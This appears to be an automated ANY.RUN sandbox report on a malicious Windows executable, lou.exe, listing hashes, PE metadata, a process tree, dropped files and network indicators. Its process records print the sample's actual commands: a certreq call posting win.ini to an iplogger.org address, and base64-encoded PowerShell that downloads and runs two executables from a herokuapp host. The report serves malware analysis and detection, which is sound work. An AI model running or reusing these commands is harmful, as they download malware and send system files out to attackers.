analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

lou.exe

Full analysis: https://app.any.run/tasks/b3e96e87-355f-4f44-9219-3a8e958447ac
Verdict: Malicious activity
Analysis date: November 29, 2020, 17:56:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

311A5A5357F1865CAFC9BB09B1253F7E

SHA1:

D53218EC361A77C997BCE177918CF21AD23C07D3

SHA256:

5222211612E6C0F8D91543D0ACB88B0C87C06A1800AFF2E0F6DB42CF5E8D429C

SSDEEP:

3072:eSM6kc3TblEpWnIMqM/e7sPpgQWfiDphirNVnTxhCJ0OYuhSWOWmWg2:lpjbioIC/e7sXDwDTyJ/ThSJNWd

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2120)
      • cmd.exe (PID: 2148)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • lou.exe (PID: 2376)
    • Creates files in the user directory

      • powershell.exe (PID: 2968)
      • powershell.exe (PID: 3868)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

OriginalFileName: Lo.exe
InternalName: Orda Tamen Nf Kie
ProductVersion: 28.77.61
FileVersion: 28.77.61
ProductName: Vol Vortludo Men Mezurunuo
LegalTrademarks: Senobjekta Far Vo Muo
LegalCopyright: Konsonanto Matematiko Orda Netransitiva
FileDescription: Kialo Iama Plie Supreniro
CompanyName: Kuo Okej Se Sub
Comments: Fo Aliel Vice Oj
CharacterSet: Unicode
LanguageCode: English (U.S.)
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x0000
ProductVersionNumber: 28.77.6.1
FileVersionNumber: 28.77.6.1
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x159ef
UninitializedDataSize: -
InitializedDataSize: 89600
CodeSize: 87040
LinkerVersion: 8
PEType: PE32
TimeStamp: 2016:03:20 06:24:15+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 20-Mar-2016 05:24:15
Detected languages:
  • English - United States
  • Russian - Russia
Comments: Fo Aliel Vice Oj
CompanyName: Kuo Okej Se Sub
FileDescription: Kialo Iama Plie Supreniro
LegalCopyright: Konsonanto Matematiko Orda Netransitiva
LegalTrademarks: Senobjekta Far Vo Muo
ProductName: Vol Vortludo Men Mezurunuo
FileVersion: 28.77.61
ProductVersion: 28.77.61
InternalName: Orda Tamen Nf Kie
OriginalFilename: Lo.exe

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0060
Pages in file: 0x0001
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000060

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 20-Mar-2016 05:24:15
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0001531A
0x00015400
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.65255
.rdata
0x00017000
0x00003BEE
0x00003C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.7994
.data
0x0001B000
0x00004A90
0x00000800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.45646
.rsrc
0x00020000
0x0001188A
0x00011A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
3.2872

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.23106
866
Latin 1 / Western European
English - United States
RT_MANIFEST
101
1.98048
20
UNKNOWN
Russian - Russia
RT_GROUP_ICON

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
MSVCRT.dll
OLEAUT32.dll
SHELL32.dll
USER32.dll
ole32.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
8
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start lou.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs certreq.exe no specs powershell.exe no specs cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2376"C:\Users\admin\AppData\Local\Temp\lou.exe" C:\Users\admin\AppData\Local\Temp\lou.exeexplorer.exe
User:
admin
Company:
Kuo Okej Se Sub
Integrity Level:
MEDIUM
Description:
Kialo Iama Plie Supreniro
Exit code:
0
Version:
28.77.61
4052"C:\Windows\System32\cmd.exe" /c echo 376473C:\Windows\System32\cmd.exelou.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
860"C:\Windows\System32\cmd.exe" /c certreq -post -config https://iplogger.org/1lZNf C:\Windows\win.iniC:\Windows\System32\cmd.exelou.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2120"C:\Windows\System32\cmd.exe" /c if not exist C:\aaa_TouchMeNot_.txt powershell -en SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwAHMAOgAvAC8AcwBtAGEAcgB0AHMAbwBmAHQAdwBhAHIAZQAuAGgAZQByAG8AawB1AGEAcABwAC4AYwBvAG0ALwBiAGwALgBlAHgAZQAsAGgAdAB0AHAAcwA6AC8ALwBzAG0AYQByAHQAcwBvAGYAdAB3AGEAcgBlAC4AaABlAHIAbwBrAHUAYQBwAHAALgBjAG8AbQAvAGIAaAAuAGUAeABlACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIABDAGEALgBlAHgAZQAsAFgAVgAuAGUAeABlADsAC:\Windows\System32\cmd.exelou.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3484certreq -post -config https://iplogger.org/1lZNf C:\Windows\win.iniC:\Windows\system32\certreq.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertReq.exe
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3868powershell -en SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwAHMAOgAvAC8AcwBtAGEAcgB0AHMAbwBmAHQAdwBhAHIAZQAuAGgAZQByAG8AawB1AGEAcABwAC4AYwBvAG0ALwBiAGwALgBlAHgAZQAsAGgAdAB0AHAAcwA6AC8ALwBzAG0AYQByAHQAcwBvAGYAdAB3AGEAcgBlAC4AaABlAHIAbwBrAHUAYQBwAHAALgBjAG8AbQAvAGIAaAAuAGUAeABlACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIABDAGEALgBlAHgAZQAsAFgAVgAuAGUAeABlADsAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2148"C:\Windows\System32\cmd.exe" /c if not exist C:\aaa_TouchMeNot_.txt powershell -en VQBuAGIAbABvAGMAawAtAEYAaQBsAGUAIABDAGEALgBlAHgAZQA7ACAAVQBuAGIAbABvAGMAawAtAEYAaQBsAGUAIABYAFYALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAEMAYQAuAGUAeABlADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAWABWAC4AZQB4AGUAOwA=C:\Windows\System32\cmd.exelou.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2968powershell -en VQBuAGIAbABvAGMAawAtAEYAaQBsAGUAIABDAGEALgBlAHgAZQA7ACAAVQBuAGIAbABvAGMAawAtAEYAaQBsAGUAIABYAFYALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAEMAYQAuAGUAeABlADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAWABWAC4AZQB4AGUAOwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
738
Read events
624
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
3868powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SRR0MOMOUWP2PLSL9W69.temp
MD5:
SHA256:
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QX4WI4NLK3NYIDA2S858.temp
MD5:
SHA256:
3868powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF143a29.TMPbinary
MD5:8A05551124C6BDB2904F636A481BD6DC
SHA256:17F84075E9B6C27B21B0AB5C00A7D8AA84BBF291764A231BFB72DA223035E900
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14415d.TMPbinary
MD5:8A05551124C6BDB2904F636A481BD6DC
SHA256:17F84075E9B6C27B21B0AB5C00A7D8AA84BBF291764A231BFB72DA223035E900
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:8A05551124C6BDB2904F636A481BD6DC
SHA256:17F84075E9B6C27B21B0AB5C00A7D8AA84BBF291764A231BFB72DA223035E900
3868powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:8A05551124C6BDB2904F636A481BD6DC
SHA256:17F84075E9B6C27B21B0AB5C00A7D8AA84BBF291764A231BFB72DA223035E900
2376lou.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\3text
MD5:3F64AC9B839A207C44B005264859A3ED
SHA256:0FF703C49579C093DF25D5146448649AD011159102A346FB96921F001B4AC4BA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
52.73.228.252:443
smartsoftware.herokuapp.com
Amazon.com, Inc.
US
unknown

DNS requests

Domain
IP
Reputation
smartsoftware.herokuapp.com
  • 52.73.228.252
  • 34.192.53.253
  • 54.167.125.52
  • 3.225.186.86
  • 34.200.185.68
  • 3.212.157.234
  • 54.204.118.255
  • 52.71.186.37
suspicious

Threats

No threats detected
No debug info